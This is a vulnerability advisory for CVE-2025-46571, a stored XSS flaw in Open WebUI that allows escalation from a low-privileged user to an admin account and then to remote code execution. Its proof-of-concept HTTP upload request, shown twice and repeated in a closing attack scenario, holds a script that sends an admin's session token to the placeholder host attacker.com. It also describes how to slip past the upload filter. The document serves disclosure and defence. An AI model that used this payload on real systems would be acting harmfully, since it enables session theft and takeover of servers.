CVE-2025-46571: Open WebUI: Stored XSS via HTML upload enables admin RCE

### Summary Low privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability. ### Details The following HTTP request can be sent to the backend server to upload a file with the contents: `<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>` ```http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm ------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html <h1>padding</h1> <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script> ------WebKitFormBoundaryr0PnRBBHKXD9UEdm-- ``` Note the `filename="test.html"` , `Content-Type: text/html`, and `<h1>padding</h`> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `<script>` tag. The backend server responds to the above request with JSON data that contains an `id` parameter.  This ID can be used to view the uploaded file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html` Because of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability. ### PoC First, upload an html containing JavaScript code to the backend server using the following HTTP request: ```http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm ------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html <h1>padding</h1> <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script> ------WebKitFormBoundaryr0PnRBBHKXD9UEdm-- ``` Then copy the `id` from the response and use it to view the file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html` ### Impact Low privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766

A disgruntled or compromised low-privileged Open WebUI user uploads an HTML file containing `<h1>padding</h1><script>fetch('https://attacker.com/?token='+localStorage.getItem('token'))</script>` to bypass the sanitizer that blocks pure-script files. They retrieve the returned file ID and send the resulting `/api/v1/files/<id>/content/html` link to an admin via a chat message, ticket, or email, framed as something worth reviewing. When the admin opens the link, the script executes in the admin's authenticated browser context and exfiltrates their session token to the attacker's server. The attacker then replays that token to authenticate as the admin, and — per the linked GHSA-9f4f-jv96-8766 advisory — leverages the Functions feature to achieve remote code execution on the Open WebUI host.